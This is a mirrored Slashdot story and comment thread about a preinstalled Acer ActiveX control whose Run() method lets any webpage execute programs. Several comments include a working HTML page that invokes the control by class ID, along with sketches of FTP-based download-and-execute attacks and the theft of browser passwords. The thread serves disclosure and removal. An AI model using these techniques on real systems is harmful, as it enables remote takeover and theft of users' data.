Slashdot Mirror


Acer May Be Bugging Computers

tomjen writes "What if a well known laptop company had silently placed an ActiveX Control on their computers that allowed any webpage to execute any program? Well Acer apparently has and they have (based on the last modified-by date of the file) been doing this since 1998. 'Checking the interface of the control reveals it has a method named "Run()" as shown below. The method supports parameters "Drive", "FileName", and "CmdLine". Isn't it strange for a control that's marked "safe for scripting" to allow a method that is suggestive of possible abuse?'"

105 of 396 comments (clear)

  1. But dude... by Thaidog · · Score: 5, Funny

    They're Ferrari's

    --

    ||| I still can't believe Parkay's not butter.

    1. Re:But dude... by Salvance · · Score: 5, Funny

      Sucks to be one of the bloggers who accepted an Acer ... sounds like Microsoft wasn't being nice at all, maybe they're just increasing their spy network.

      --
      Crack - Free with every butt and set of boobs
    2. Re:But dude... by MrNougat · · Score: 3, Funny
      They're Ferrari's


      They're Ferarri's what?
      --
      Web 2.0 == Giant Blogspam Circle Jerk
    3. Re:But dude... by MrNougat · · Score: 2, Funny

      And then I spell Ferrari's (sic) wrong anyway. Someone shoot me.

      --
      Web 2.0 == Giant Blogspam Circle Jerk
  2. Re:Phew! by BrainInAJar · · Score: 5, Funny

    Mine shipped with Linux, which I immediately wiped & installed FreeBSD, but I appreciate the thought

  3. And now that it's publicized... by mallardtheduck · · Score: 4, Interesting

    I expect exploits for this to start appearing within days, if not hours...

    1. Re:And now that it's publicized... by aauu · · Score: 3, Interesting

      Isn't there a $50,000 bounty on vista capable exploits? slashdot announces ..... Profit $$$$

      --
      When I was young, I had to rub sticks together to compute.
    2. Re:And now that it's publicized... by Joebert · · Score: 5, Funny

      Exactly, they're made by the Tooth Fairy & the Easter Bunny with the help of Santas' elves during their offseasons.

      --
      Wanna fight ? Bend over, stick your head up your ass, and fight for air.
    3. Re:And now that it's publicized... by Ninwa · · Score: 5, Informative

      The class-id was in the article :-) D9998BD0-7957-11D2-8FED-00606730D3AA

    4. Re:And now that it's publicized... by Bargearse · · Score: 2, Insightful

      I doubt it would be eligible for a bounty, as it won't run under Vista's default configuration. It can be made to run though :)

      --
      "Don't break my arse, my bargey wargey arse, I don't think my pants would understand..."
    5. Re:And now that it's publicized... by Joebert · · Score: 2, Funny

      Someone probably had their kid standing right next to them when they did it...

      --
      Wanna fight ? Bend over, stick your head up your ass, and fight for air.
  4. Re:Phew! by GFLPraxis · · Score: 2, Informative

    It's a good thing...Other companies like HP and Sony no longer include restore disks, so when a Windows user gets a virus that messes some system files up, they have to pay ridiculous amounts to order restore disks if they didn't remember to do it themselves.

  5. Re:Phew! by gardyloo · · Score: 5, Funny

    Haha. I was just joking. I actually use mine by drilling through the case, and making and breaking a couple of connections between the motherboard and three "C" cells hooked in series with paperclips. Manually, beeyotch. Real men type in raw binary without the keyboard. But I appreciate the thought.

  6. present on Aspire 1690 by Phil246 · · Score: 2, Informative

    Checked mine, its present :( Anyone know if its safe to make that file and its registry entry 'disappear' ?

    1. Re:present on Aspire 1690 by valeurnutritive · · Score: 5, Informative

      To remove this from your machine.

      Goto Start > Run and type:
      regsvr32 -u lunchapp.ocx

      (-u for uninstall)

    2. Re:present on Aspire 1690 by mosschops · · Score: 2, Informative

      Unregistering is just calling a function inside the DLL which deletes its own registry entries. It needs to be loaded for that to happen so being loaded already is no problem. When both have finished it'll get unloaded, and the lack of registry entries means the browser can't create an instance of it again.

      I'm not sure I'd want to create a page to do it tho, even with full permission from the user...

    3. Re:present on Aspire 1690 by Staale+Nordlie · · Score: 5, Insightful

      Why not just create a website that will use this vulnerability to run this "unregister" command on our machines and eliminate the vulnerability? I copied the command posted by valeurnutritive into the html demonstration code from the article. Worked just fine as far as I can tell. It has a certain poetry to it. :)

      <html>
      <body>
      <object classid="clsid:D9998BD0-7957-11D2-8FED-00606730D3A A" id="hahaha">
      </object>
      <script>
      hahaha.Run("c", "\\windows\\system32\\regsvr32.exe -u lunchapp.ocx", "");
      </script>
      </html>
      </body>
    4. Re:present on Aspire 1690 by Odin_Tiger · · Score: 3, Informative

      I was under the impression that only the exe went in the second param, and flags went in the final. Shouldn't it be
      hahaha.Run("c", "\\windows\\system32\\regsvr32.exe", "-u lunchapp.ocx")
      ?

      --
      Unpleasantries.
    5. Re:present on Aspire 1690 by Staale+Nordlie · · Score: 3, Informative

      You're right. It doesn't seem to matter though, as (like I said) it worked fine the way I did it. I got a confirmation message and my Acer laptop no longer runs calc.exe with the code from the article.

  7. The 4th USB port by wikinerd · · Score: 3, Interesting

    I once bought a Fujitsu-Siemens laptop with 3 USB ports, but when I opened it I noticed it had a non-visible 4th USB port near the hard disk that you needed a screwdriver in order to access. No mention of it in Fujitsu-Siemen's manuals and other documentation that I got with the laptop, and no mention of it on their website. Although visually hidden, the port was visible via diagnostics software. I thought that this could be one way to put a spy antenna or other device on a laptop (a USB port provides 500mA of power which is enough to power a large range of antennas and electronics). It could be used to put an anti-theft antenna revealing the laptop's location, to put a keylogger, or to put a backup device. In the end I just put a permanent flash key drive in it so I had a laptop with permanent flash storage in addition to the hard disk.

    1. Re:The 4th USB port by mallardtheduck · · Score: 4, Insightful

      Could just be there for optional "built-in" bluetooth or Wifi. A USB module is probably cheaper than an Mini-PCI.
      Plus, if they do no wireless, Wifi-only and Wifi+BT models, with a single Mini-PCI slot, they would need both Wifi and Wifi+BT cards, if they have a "hidden" USB port, they only need to stock Wifi mini-PCI cards and USB bluetooth adapters, the same adapters that are sold independently.

    2. Re:The 4th USB port by starwed · · Score: 2, Insightful

      When I bought a USB2 PCI card for my desktop, most models had a single internal USB port as well as all the external ones. I think this is pretty common, and nothing nefarious.

    3. Re:The 4th USB port by glesga_kiss · · Score: 2, Insightful
      most probably the extra port was there for bluetoth support. however, i did not like the fact that as a customer I was not told about it.

      That's an insane attitude. Do you have any idea how many other unused parts there are in any PC? Strip it down to the motherboard and you'll find blank places for additional ports. Sometimes these even have blankers on the case in laptops. I used to work as an engineer in a laptop factory and one of our models had the places for a 9V adapter (it had a mains adapter as standard) as well as space for more video ram and a COM port. Never once were these ever used in any models we made, apart from a couple of prototypes. You'd need to see the board or the schematics to even know about their existence.

      You got what you paid for. Consider the "hidden" usb port a bonus. My current laptop has a built-in webcam hooked up to one of these ports. The internal architecture really isn't all that important to me as an end-user.

  8. Re:Phew! by mallardtheduck · · Score: 3, Informative

    My HP notebook, bought about 15 months ago not only came with restore disks, but a plain Windows XP SP2 disk and disks for WinDVD and Sonic's CD recording software.

    I don't know about SONY, but in my experience, HP are more generous than most in terms if disks included with their PCs.

  9. Re:Phew! by east+coast · · Score: 2, Insightful

    you're missing the point. what happens on the day that they start putting out linux and simply "make things easier for the end user" by circumventing some common sense security measures?

    --
    Dedicated Cthulhu Cultist since 4523 BC.
  10. Isn't it a little bit naive by zappepcs · · Score: 2, Interesting

    to think that Acer and others have not been doing this for years? Put on the tin foil hat now, they may be doing so in conjunction with governments. Lets not stop there, your ISP and phone company might also be doing the same thing?

    I bet that buried in the EULA somewhere is a statement about remote support or some other such thing that would negate any complaints about this code as far as culpability goes. Wonder what they will do now that the botnet boys know its there? Just one more reason that people who want to have a safe computer should learn how to administer one properly... IMO.

    1. Re:Isn't it a little bit naive by Telvin_3d · · Score: 2, Insightful

      While I agree with you in general paranoid principle, I think the last bit is a little naive. It's like saying that if you want to have a safe house, you should be able to build your own in order to make sure there is no secret explode-on-remote-command hardware installed. Yes, people need to pay a little attention, but this type of shit is above and beyond anything that should be expected.

      P.S. I want to see Holmes on Homes run across a secret explode-on-remote-command thing in an episode. That would make my week.

    2. Re:Isn't it a little bit naive by zappepcs · · Score: 2, Interesting

      I was thinking that 'meh, Telvin is probably right' but I thought about it again. Not to take an opportunity to diss you or anyone, but rather to explain my point a bit better.

      Anyone, almost, can get a license to drive a car. The few that will put power steering fluid in their oil because they know nothing about cars will learn a very expensive lesson. There are many examples here where just a grounding of common sense would save people from very costly and perhaps embarrassing episodes. There are awards everywhere for people that do very stupid things such as the Darwin awards. The evidence of my point is all around us, but for some reason people think that technology should simply work as simple as a toaster. Those same people forget to think about all the people that put pop-tarts in the toaster with the wrapper still on, or worse, put them in the microwave.. resulting in the required shower of sparks. All of the technology around us is capable of doing things the wrong way. It is only through common experience and learning that most people manage to not fsck things up. At this point I should say how very glad I am that people are not want to buy their own table saw or jack hammer. These can do way more damage than a George Foreman grill mixed with some Jack Daniels. I still worry every time they allow the sale of fireworks to joe public.

      Even people who are only mildly aware of how a vehicle works are usually able to determine that something is wrong because its making a new sound, or not steering right etc. This is not so with computers. People are so perplexed at how complex it must be that they remain clueless as to what might be wrong when it stops working as well as it seemed that it used to work.

      Some people think that all emails they get should be opened, and out of curiosity, they open nearly every attachment they receive under the mistaken notion that their ISP or AV software is going to protect them.

      Perhaps they need not know how to administer a Windows network, but they should have some clues, like they have with almost every other kind of technology they use. BTW, yes, I believe that everyone who has a flashing 12:00 on their VCR/DVD player should be fined until they know how to fix it. I also think I should be able to sell them clocks that never need to be set... but that is an open market forces kind of thing. The flashing clock doesn't really hurt anyone while allowing a botnet to p0wn your machine does. If there is a license to make sure only responsible drivers are on public roads, perhaps we need something similar for computer users. There are certification programs that people can take. Its just common sense that I think they need, not the ability to rewrite the kernel.

      Hopefully that clears up what I meant to say?

    3. Re:Isn't it a little bit naive by jawtheshark · · Score: 2, Insightful

      I believe that everyone who has a flashing 12:00 on their VCR/DVD player should be fined until they know how to fix it.

      I've got a flashing 0:00 on my stereo and I'm a computer programmer. Do I know how to set it to the correct time? Sure! Thing is, the clock resets whenever the electricity goes out. It's not that it happens that much, but there was a period here (I think they were working on the grid) that it failed for a minute every few days. I got sick 'n tired of putting in back the time and that is why it's still flashing.

      According to you, I should get fined.

      It will never change: a computer can do no "big harm" (according to the public) as can a grill combined with gasoline. Sure, idenitity theft, aiding spambot networks, and "degraded performance" are things that these no-technical people can and will experience but none of these exactly "harms them". At least not in the short term, because long term is not in their scope. Sure, worst case they get their identity stolen, but they will not "link" this to "bad security habits" they had in the past: it will be the "Evil Hackers" that did it. (Exactly "How" is magic to them, and to them they did nothing wrong) It's a bit like coming home and finding that your dog pooped in your slippers. You hold his nose into the poop to "teach him a lesson", alas, the poor dog doesn't understand the punishment because he pooped there hours ago and doesn't link the punishment with the "offense". (Note, I don't have a dog and I only heard that this. Don't take it as a "fact" but as an illustration.)

      I used to be for a "internet capability license", but I just ditched that idea. I had the unfortunate experience to teach "initiation to information technology" (=Glorified Word course) to 13 year olds in a "technical school". Now, you have a bunch of 13 year olds that don't even know how to use a keyboard correctly! Sure, that should have been the first thing I should have explained, but I didn't know better! I was in the illusion that keyboards were self-explaining. (Hint: they are not) So, they all know how to surf (with Flash games and MySpace-style homepages being favourites) but they type their capital letters by pushing in "Caps Lock" then pushing the letter they want and then pushing "Caps Lock" again. These habits are hard to get out, because they have been doing this forever at home.

      The general "computing public" is no more than these 13 year olds, and worse: those 13 year olds will learn eventually because they are young and their minds still absorb a lot. Now, for adults, the picture is not so rosy.

      Hey, I don't care anymore! I've gone back to IT, and am happy with people that know shit: Because of this

      --
      Ahhh...the great dumpster continuum. Many a free computer will be found there. -- sowth (748135)
  11. Safe by twitter · · Score: 2, Informative

    Checked mine, its present :( Anyone know if its safe to make that file and its registry entry 'disappear' ?

    Sure, just go get the Mepis Patch. This will end all of your activeX problems. It won't end your Flash, Adobe and other problems but those are minor in comparison.

    Really, do you think eliminating this one control will make your computer safe? Chances are there are coppies that will "respawn" later, a common malware trick, and that there are far nastier controls you don't know about. The malice is built in from Redmod before anyone else gets it.

    --

    Friends don't help friends install M$ junk.

  12. Re:to those of us uneducated by Anonymous Coward · · Score: 5, Informative
    Please give examples or something of how this could be used for ill purposes. Yes, I realize it is obvious to most people but I'm a beginner. I do not know what harm can come of the power, in and of itself, of being able to run a program that is already on computer. Would one, through this particular acer thing, be able to pass things to that program and then have that program in turn do other bad things or what? Please give rudimentary examples.
    One could, for example, use the Windows ftp.exe client to download an arbitrary program (e.g. botnet software) and then execute it. I'm certain there are even better ways to do it but this one could work well enough to completely take over the machine.
  13. Re:Phew! by pboulang · · Score: 5, Funny
    I spend a hundred bucks on dinner sometimes, and that's just for me, not including the babe or the vino. Sheesh.
    Do you have to pay for the babe by the hour or is it a flat rate?
    --

    This comment is guaranteed*

    *not guaranteed

  14. Lessons learned... by Anonymous Coward · · Score: 5, Insightful

    1) Whenever possible, build your own.

    2) When you can't build your own (laptops), *always* re-install your OS after purchasing a new computer, and for God's sake use a real install CD and not the recovery one provided by the manufacturer.

    1. Re:Lessons learned... by GaryPatterson · · Score: 2, Insightful

      Excellent suggestion!

      So, for the other 99% of users (you know, the ones who just want a computer that does what it's advertised to do), what's the solution?

    2. Re:Lessons learned... by mrchaotica · · Score: 2, Insightful

      Buy a Mac.

      (Seriously.)

      --

      "[Regarding the 'cloud,'] ownership was what made America different than Russia." -- Woz

  15. cvrsd;lk.a5df.a,pfll; by Tablizer · · Score: 2, Funny

    Can't...get...back...contr...Everything is Fine and Happy. Nothing to Worry About. Have a Nice Day!

  16. Re:So can this be neutralized? by plover · · Score: 2, Informative
    Click Start/Run, then in the box type this:

    del c:\windows\system\lunchapp.ocx
    That will delete the object itself.
    --
    John
  17. LunchApp.ocx by snicho99 · · Score: 5, Funny
    Don't panic. It's not a method for launching applications.

    The original article failed to notice that it's a Lunch application. It's actually a throw back to when Acer briefly partnered up with 180solutions to deliver targeted pop-under sandwiches to hungry laptop owners. The idea being that after seventeen hours of trying to uninstall Bonsai Buddy the computer user would be debilitated through starvation and susceptible receptive to sp(iced h)am..

    The program was abandoned when Acer's engineers failed to perfect the wasabi-over-ip protocol - leaving the whole system unreliable an prone to bagel overrun.

    --
    -Steve http://www.stevennicholson.com
  18. Re:to those of us uneducated by codepunk · · Score: 3, Informative

    I have not seen the control or have a copy of it but it can be a simple as a couple of lines
    of script in a web page. Now I can possibly own most acer laptops visiting that page.

    The script could do something like this
    ftp somehost
    ftp get somefile
    execute somefile

    Bingo I own your laptop.

    Or say I just ftp your firefox data so I can grab your history, passwords etc.

    --


    Got Code?
  19. SWAH!?! by foo+fighter · · Score: 4, Funny

    This news is unbelievable.

    Acer still makes computers? People still buy them?

    I remember Acer being a budget brand with a bad rep for quality and customer service back in the mid- to late-90s. I can't believe they are still a going concern.

    --
    obviously no deficiencies vs. no obvious deficiencies
    1. Re:SWAH!?! by p0tat03 · · Score: 4, Interesting

      Depends on what you mean by that. I'm prepared to believe that Acer, or some of its subsidiaries, handles a significant amount of manufacturing for otherwise famous (and respected) OEM brands. That said, Acers are junk, some of those brands are not.

      Having worked in manufacturing, I can say with confidence that it's *usually true* that the manufacturer can just about build anything to any quality level you desire, the only force stopping you is the almighty dollar. I worked in an auto parts plant, and we made the crappiest of parts that would die on you after a couple years to the most premium of car parts that would go on working for decades... It all depends on how much the customer is paying.

      I suspect Acer, Asus, Foxconn, and any other manufacturing contractors are exactly like this. While Acer's own branded laptops are invariably crap (waaaaay too many bad experiences, ugh), I would not be surprised in the least if quality laptops are made under the same roof, for other people.

    2. Re:SWAH!?! by nikster · · Score: 2, Interesting

      Very true. Acer's top of the line laptops are pretty good, while the cheap low end systems are c-r-a-p. I had both: I had a high-end Acer which was flawless (TM803), went to a budget Acer (TM4600) which basically didn't work and I had to get rid of after overheating, two fried HDs and one fried mainboard, and now a TM8204 which works just fine.

      The Acer Service Center which I was a frequent visitor at with the 4600 offers extended warranties. The extended warranty for the "business line" is half the price of the budget line. That alone says it all.

  20. Uhh, there already IS an exploit... by nweaver · · Score: 5, Informative

    Read the article: Theres a trivial piece of example "exploit" code running calc.exe.

    But as you can run ANY windows binary with any command line (at least according to the article), actual exploitation is trivial.

    --
    Test your net with Netalyzr
  21. Late again! by whoever57 · · Score: 5, Informative

    Apparently, someone in Brazil noticed this last November

    --
    The real "Libtards" are the Libertarians!
  22. Easy fix for this problem by Shadyman · · Score: 2, Insightful

    1. Format your hard disk 2. Install Linux 3. Return your Windows for a refund (Profit!)

    1. Re:Easy fix for this problem by black+hole+sun · · Score: 2, Insightful

      Of course simply deleting the file in question is just way too off-the-wall for most users.

  23. Re:to those of us uneducated by djupedal · · Score: 4, Interesting

    "Please give examples or something of how this could be used for ill purposes. Yes, I realize it is obvious to most people but I'm a beginner."

    A beginner & an AC - wants to know exactly how to execute the 'bad thing', and promises not to inhale :)

    Oh...rudimentary...well, that's different. Since Acer would presumably have the power to control any aspect of your computer when you use it to log onto any webpage, all they need to do is to wait for you to access a site under their control, and bingo, they can lift all of your installation logs, cookies, saved passwords, MS WORD docs containing the words 'budget; personal; finance; medical; records; debt; sex, SSN (and all applicable variants),etc.

    OK, let's say you are gullible enough to think that they can take all of that they want, and still not put you at risk - now, think for just a moment about who 'they' are...? What are the odds of 'they' going to all that trouble and not having some plan to do something with what they glean that you will not be pleased with...? Still not impressed?

    How's this... Acer sits around and waits for just the right time and boom - they toggle a flag on your computer that makes it appear that it needs to have XYZ repaired, and what do you know, the only resource is...ACER!!

    A new age variation on the old water-bag trick. One guy owned two service stations. One station was the last stop before heading out of LA, into the desert, heading for Palm Springs. The other was the last service station before heading out of Palm Springs, out across the desert, heading for LA. When a car stops on the LA side, the station staff sell the unaware traveler a scary story about being in the desert and having the car break down from overheating. Seems, tho, if you buy a canvas water-bag filled with water, and hang it on your car's front grille, it will supposedly help cool the air before it flows across the radiator. Best insurance money can buy. Thank ya now, ya'll have a safe trip! :)

    Problem is, that big 'ol canvas bag actually blocks the airflow, and by the time you get near the other side of the desert, your car overheats and you have to pay the Palm Springs service station to come and tow your car and fix everything that broke from overheating. Not a small fee, even in those days. They explain how the bag is what did the damage, and the hapless owner tells them to keep it.

    What do you think the Palm Springs service station guys do with the demon water-bag? Well, of course, they sell it to the next dupe going from there to LA, and even help by attaching it to the grille of his car. Thank ya now, ya'll have a safe trip! :)

    I figure that one bag most likely made dozens of round trips across the Mohave, and put at least two generations of kids thru law school :)

    Rumor has it owning those two stations was the fastest way to retirement until the big casinos came in and the real pocket-picking took off.

  24. It's an appendix. by Kadin2048 · · Score: 4, Interesting

    I think a lot of computers have internal ports that were put in there as part of the original board design, but were never taken advantage of during configuration or subsequent system design.

    In an old Mac of mine (G4 "Sawtooth"), there is an internal Firewire port right on the motherboard, even though there are virtually no (to my knowledge anyway) internal Firewire devices available. The most useful thing you can do with it is run it out to a dummy card-slot panel and give yourself an extra external port. (I suppose you could also run another HD by using a IDE to FW converter card, if you could find a small enough one.)

    It's there, I suspect, because when they were designing that mobo, it wasn't clear that Firewire would be used primarily for DV and external peripherals, and wouldn't become the internal-peripheral interconnect of choice. For all the designers knew, Firewire could have become like SATA is today, with hard drives being built for it natively. In that case, having one inside the case could be useful as hell (particularly since that machine has space for 4 or 6 internal 3.5" HDs and 2 removable-media drives). They had no way of knowing that it would end up being the electronics version of an appendix.

    I suspect if you were to look around closely at the first generations of a lot of technologies, you'd find a lot of things like this; design decisions made for possibilities that just didn't pan out, but were left there anyway.

    --
    "Ladies and gentlemen, my killbot features Lotus Notes and a machine gun. It is the finest available."
    1. Re:It's an appendix. by Zouden · · Score: 2, Informative
      I suspect if you were to look around closely at the first generations of a lot of technologies, you'd find a lot of things like this; design decisions made for possibilities that just didn't pan out, but were left there anyway.


      Like multiple camera angles on DVDs? There's even a 'camera' button taking up space on my remote.
      --
      "A week in the lab saves an hour in the library"
    2. Re:It's an appendix. by Hoi+Polloi · · Score: 2, Funny

      I use it when watching my Simpsons DVDs. I like to see what the other camera angles caught during filming.

      The extras where Homer works up the live studio audience before filming a show are great too.

      --
      It is by the juice of the coffee bean that thoughts acquire speed, the teeth acquire stains. The stains become a warning
  25. Re:Phew! by phalse+phace · · Score: 3, Informative

    Don't know about you, but I wouldn't call $20 a ridiculous amount to pay for a set of restore disks. And you can avoid paying the $20 or so by burning your own set of restore disks... my HP notebook prompted me to do so when I first turned it on. It just burns an image of the restore partition on the C: drive. If you forget or decide you want to do it later, it will/can remind you again in a couple days or so.

  26. "Pre-hosed" -- always wipe it by mlts · · Score: 4, Interesting

    On all new computers, be PCs, Suns, RS/6000s, or anything, after getting the machine out of the box and plugged in, I tar (or ghost in the case of PC recovery partitions) off anything preinstalled to two backups, then format the hard disk (or disks/arrays) on the machine. After the disks are formatted, I then install the OS and drivers and get the machine to the latest patches that I can via CDs. Only after this and a lockdown check does the machine see the network.

    I've just seen too many machines come pre-hosed from the factory. For anything that sees production use, I want to pack my own parachute and know exactly what is on the machine.

    On PCs, I try to find drivers from the underlying OEM rather than depend on the PC vendor, as usually the PC vendor's drivers tend to be outdated, except for motherboard/system board/IO planar flash.

  27. Re:So can this be neutralized? by Lehk228 · · Score: 2, Informative

    run regsvr32 -u lunchapp.ocx from start>run it will unload it without having to edit the registry

    --
    Snowden and Manning are heroes.
  28. Re:to those of us uneducated by codepunk · · Score: 2, Informative

    You bet open up a command window and type ftp you will notice that it has a built in ftp client. Simply calling the run method on this control in a script and you can run anything you want, download or upload anything you want just by the client browsing a web page.

    --


    Got Code?
  29. Re:Phew! by BrainInAJar · · Score: 4, Interesting

    There was a local computer store in town that was selling them, and apparantly Acer shipped them to the store with Linux preinstalled. Some strange Chinese distro I'd never heard of... I'd reccomend the laptop, yeah... Served me well so far... warranty just expired and I've had no need to use it.

    and no, I wasn't going for humour mods... my laptop actually shipped with Linux, and I did wipe it for FreeBSD (it runs OpenSolaris now, but that's beyond the point).

  30. @mozilla.org/process/util;1 by MushMouth · · Score: 3, Informative

    Any mozilla extension (chrome) on mozilla/thunderbird/seamonkey/firefox/camino has access to this component which can run anything the user can.

    1. Re:@mozilla.org/process/util;1 by h2g2bob · · Score: 5, Insightful

      Exactly, that's for extensions (and the browser itself) and is protected from execution by web pages. Exploits to either firefox or it's extensions or themes can lead to pwnage (same as any internet-capable program).

      The difference between ie activex and fx extensions is that firefox encourages you to go through addons.mozilla.org, for which all the extensions are reviewed (though I don't know how thoroughly) and update automatically (eg if exploits are found).

  31. Re:Wow by willyhill · · Score: 2, Insightful
    I love that someone modded you up. So, if I give you a box of matches and you set fire to your house on purpose, you'd blame me? Kind of like people who pour hot coffee on themselves and file a lawsuit for a million bucks, right?

    acer is not exactly off the hook here either.

    That's an interesting way to put it. But I guess that's the only way to rationalize it if you were desperate enough to pin this on Microsoft for some reason.

    --
    The twitter monologues. Click on my homepage and be amazed.
  32. Blank laptops (very very old story) by JHWH · · Score: 2, Interesting

    I would say it's time now to force manufacturers/distributors/retailers to provide blank laptops at least as an option.
    First, if I I have to pay for a preinstalled OS, I cannot be made responsible for that installation. The rescue CD is a kind of responsibility contract.
    Second, if I can get a blank PC, I am the one responsible for whatever will run on it without paying extra money.
    Third, if I cannot choose, the one who chose in my behalf is to be responsible for whatever happens in my machine for both hw and sw.
    So finally, they'd better leave the option to the customer.
    And, all this would apply to whatever the OS is, not just the four colours flag OS.

    --
    Intelligence has limits. Stupidity doesn't.
  33. What's this control named "Rootkit" do? by Cafe+Alpha · · Score: 2, Interesting

    They named the interface "Run(Drive,FileName,CmdLine)"

    And that's why this vulnerability was found, because the name was so damn obvious. It's as if you had an active x control registered that was named "rootkit".

    This one must be the decoy. Imagine what else could be hidden in there and not named "Please throw me in the briar patch!"

  34. Re:Phew! by belmolis · · Score: 4, Informative

    I recently bought a laptop with Ubuntu pre-installed from The Linux Store, which is in Ontario. I've been perfectly satisfied aside from the minor point that they only offer the choice of Ubuntu and Fedora Core when I would have preferred Debian.

  35. Re:I'm not impressed with this IE7 "improvement" by suv4x4 · · Score: 2, Informative

    The right direction would be running screaming away from active X entirely.

    The hatred towards ActiveX is largely unfound. What would happen to sites like YouTube or movie sites, video, audio sites, if all browsers are suddenly rendered incapable of supporting plugins.

    The mistake of Microsoft was that ActiveX were way too easy to install, and this is corrected in a major way in IE7.
    In fact, the plugin API and extensions of Firefox can do just as much damage and much easier (since people trust those) than ActiveX can in IE7, with all default settings.

    IE7 will at least ask you now if a page wants to run an *already installed* control. Does Firefox do this? No.

    (of course there's the question: should it, but apparently due to jerks that preinstall craps on laptops, yea..)

  36. Re:Phew! by Propaganda13 · · Score: 3, Informative

    Corrupt that extra partition and see how far that "restore" disk gets you. It's not the regular Windows restore disk that used to come with computers and it's definitely not a Windows disk. It won't work without the data on the partition.

    $20 for the set of disks + $52.50(Dell refunded price for Windows) is about the same price you could buy Windows XP Home OEM version for.

  37. Re:to those of us uneducated by dezert_fox · · Score: 2, Informative

    This allows execution of arbitrary code... that's as bad as it gets. This could be used to do anything the computer can do. All files accessible to the current user could be uploaded somewhere else; machine could be made part of a botnet for DoS attacks; anything! Arbitrary code execution is a BAD, BAD thing.

  38. On behalf of Acer by Qbertino · · Score: 2, Insightful

    Acer is one of the 'big name' Laptop producers that actually sell Laptops with Linux preinstalled that are generally available and visible and don't require placement of a special order at headquarters overseas. And they let you notice the price difference to the same models with Windows on them.
    Solution to this 'bug': If you buy an Acer, by one that comes with Linux.

    --
    We suffer more in our imagination than in reality. - Seneca
    1. Re:On behalf of Acer by sunwukong · · Score: 5, Insightful

      But do you know they haven't placed a rootkit on the preinstalled Linux?

  39. Re:I'm not impressed with this IE7 "improvement" by suv4x4 · · Score: 5, Interesting

    You may be shocked to realize that Firefox plugins and extensions don't run in any sandbox at all. They in fact have access to any resource Firefox has, which on a Windows machine is usually administrator capabilities.

    So what was the beef with ActiveX again?

    Oh, and in Vista, IE7 runs in limited mode even on admin accounts, so ActiveX controls are limited too. Firefox so far doesn't take advantage of this.

    It's easy to open wide a big mouth and flame Microsoft, but the thing is: how is the competition better?

    I won't be surprised if all it's better about (in terms of security) is that it's less popular and thus less targeted by malware authors. We've seen some of this during the Firefox adoption boom, but I'm afraid IE7 might kill the further adoption of Firefox so I can prove it.

  40. Re:Phew! by KDR_11k · · Score: 2, Insightful

    Those with their model numbers containing an N ship with Linux (e.g. TravelMate 2482NWXMI). A local PC store has them, they list the OS as "Linpus Linux". I doubt that you'll see them stocked by many retailers, though.

    --
    Justice is the sheep getting arrested while an impartial judge declares the vote void.
  41. That's BS by cheros · · Score: 3, Informative

    Sony and HP don't include restore disks because they're harder to keep current than a production disk image - they're DVDs, not CDs.

    All you need to do is burn the images (DVDs) when you get the laptop, and Sony positively nags you repeatedly to do it. Also, if you leave the recovery partition in place you can do it again later.

    As for getting the original DVDs, they don't charge a ridiculous amount (in the $60 region) but they do ask for a ridiculous amount of proof that it's your own laptop and you're not going to share the disks with the world..

    Don't know about HP, but have handled enough Sony laptops :-)

    --
    Insert .sig here. Send no money now. Owner may sue, contents will settle. Batteries not included.
  42. Re:Phew! by Linker3000 · · Score: 4, Funny

    Meh,

    I immediately reformatted my newly-purchased Acer's hard disk, installed DR-DOS and Crosstalk and do all my computing on a VAX 11/750.

    Next...

    --
    AT&ROFLMAO
  43. Multiple Angles by splutty · · Score: 2, Insightful

    This is getting to be way off topic, but seriously. It seems you don't know the primary reason of existence for DVDs, which is something that the multi angle button is used in quite a lot.

    Of course I'm talking about the driving force behind almost all new electronical inventions, the Pr0N.

    --
    Coz eternity my friend, is a long *ing time.
  44. Re:to those of us uneducated by this+great+guy · · Score: 4, Informative
    It is possible to use ftp.exe in such a way. I work in the ITsec field and have used this exploitation technique in the past (step 1: create foo.txt containing ftp commands to download malicious.exe, step 2: run ftp.exe @foo.txt, step 3: run malicious.exe).

    I really have a hard time understanding your mindset. You refuse to believe in the seriousness of the vuln even when people give you an attack vector example. Please, why ?

  45. pre-owned? by BigBuckHunter · · Score: 5, Funny

    Kinda changes the definition of a "pre-owned" machine!

    BBH

  46. Re:Phew! by Splab · · Score: 2, Interesting

    My HP laptop came with a nice DVD including the windows installation and all the basic drivers to get the baby going. I think it depends on how cheap you buy your machine (Mine is a Nx8220, not top of the line, but it sure isn't cheap).

  47. Wider scope by msobkow · · Score: 4, Insightful

    Intel had to allow people to disable CPU ids.

    Why is Microsoft allowed to "embed" an id string like the WGA identifiers that allow them to identify and traceback any individual who does an update of LEGALLY LICENSED SOFTWARE?!?!?

    Why do I see a 3 year backlog of error/debug messages in certain WinXP system log files, and receive advice on how to disable error logging instead of someone FIXING THE PROBLEM?

    --
    I do not fail; I succeed at finding out what does not work.
  48. Re:Wow by willyhill · · Score: 2, Informative
    Feel free. If you can get an exploit to work

    Who's talking about an exploit? I can get people "infected" with XPI the same way people get "infected" by clicking "Yes" on that annoying ActiveX install dialog. It's much easier than trying to find an exploit. But we're drifting here - the issue is a PC vendor pre-installing something on my box. That's even easier, because it doesn't require user intervention!

    but there are a number of things to prevent you from actually getting it installed.

    Like what, a badly designed whitelist and a dialog where you have to click "No"? And you figure that the same people who used to click "Yes" on IE will click on "No" in Firefox, correct?

    Until then, your full of hot air.

    I think you're taking this too personally. Social engineering and stupidity are far more profitable for spammers and scammers than any exploit Microsoft could ever dream of.

    --
    The twitter monologues. Click on my homepage and be amazed.
  49. Re:Wow by KDR_11k · · Score: 2, Insightful

    MS made Windows, Acer built the exploit. Considering that Acer built the computer they could have compromised any OS, they could e.g. ship a Linux with all browsers modified to offer an interface to websites that can do the same.

    --
    Justice is the sheep getting arrested while an impartial judge declares the vote void.
  50. PHB == appendix by TapeCutter · · Score: 4, Interesting

    I know that some, but certainly not all, "hidden" hardware/software is the result of a PHB "work-around", I submit the following anecdote about illogical engineering vs optimal solutions....

    Many moons ago I worked on a large project where we supplied a logistics application along with 8000 laptops that we were also expected to maintain. The spec's for the laptop's were written into the $80M/5yr contract, in particular the contract specified "special" (ie: manafactured by our sister company) laptops with a 120M HDD. A thousand or so laptops were delivered immediately, I suspect this was mainly to garner a large initial payment, 800 were then stored in a warehouse by the customer for 2yrs while we wrote the software and ran a pilot with the other 200.

